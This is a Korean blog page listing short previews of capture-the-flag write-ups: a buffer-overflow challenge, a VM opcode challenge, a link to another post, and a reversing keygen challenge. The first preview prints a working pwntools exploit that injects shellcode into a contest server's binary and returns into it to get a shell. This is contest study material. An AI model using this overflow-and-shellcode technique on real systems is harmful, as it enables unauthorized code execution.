본문 바로가기

CTF45

(CTF) hacking camp CTF 24th writeup (미스크, 포렌식, 기타 쉬운문제 제외한 간단 writeup) invitation from pwn import * r=remote("ctf-hackingcamp.com",10319) context.arch='i386' b=ELF("./invitation") pay=b'x'*0x18 pr=0x0804836d pay+=p32(b.sym['CODE']) r.sendafter("code : ",asm(shellcraft.i386.linux.sh())) r.sendlineafter("password : ",pay) r.interactive() NX 가 꺼져잇어서 code 에 쉘코드넣고 해당위치로 리턴. shell execve 가 seccomp 걸려있었다. 도커파일있는줄 모르고 계속 getdents 로 읽어올려했는.. 2022. 2. 24.
(CTF) hayyim CTF 2022 writeup (MemoryManager) 대회 끝나고 풀어본 문제다. MemoryManager opcode 입력받아서 실행시켜주는 vm 문제. bss 영역에 있는 stack 변수는 0x4060D8 영역을 가리키고, data 변수는 0x4060E0 영역을 가리키고있다. 입력 사이즈 제한은 0x1000 이다. void __fastcall sub_401F46(__int64 a1) { __int64 v1; // [rsp+1Fh] [rbp-31h] v1 = (unsigned __int8)get_opcode(a1); if ( (unsigned __int8)v1 rax+(a2&0xF)) = a3 원하는 레지스터 값을 a3 으로 덮을 수 있다. (rbp, rsp, rip 제외) opcode == 3 4050AC 는 초기값이 -1 인 변수인데, sub_4015.. 2022. 2. 17.
(CTF) dice CTF flagle writeup https://blog.snwo.fun/posts/(ctf)-dice-ctf-2022-writeup/ hi 2022. 2. 7.
(CTF) 2022 hspace open CTF writeup (REV) Crack Space MFC 로 만든 keygen 문제이다. 아마 2바이트인 유니코드를 사용하는데, 플레그 포멧 안에 있는 글자의 길이는 31 이고, 0 부터 31까지 반복문을 돌면서 i 가 홀수 → 해당 인덱스와 다른값이랑 xor i 가 짝수 → 문자열 뒤집기 위와 같은 암호화를 진행한다. [0, 15, 0, 2, 0, 13, 0, 4, 0, 11, 0, 6, 0, 9, 0, 8, 0, 7, 0, 10, 0, 5, 0, 12, 0, 3, 0, 14, 0, 1, 0] 이 순서로 암호화 되는데, 띄엄띄엄 암호화된다. ㅋㅋ 뒤에서나 앞에서나 돌면서 똑같이 한 번 더 xor 해주면 풀린다. solve.py from pwn import u32 cmp = [0x53, 0x0, 0x0, 0x0, 0xa5.. 2022. 1. 16.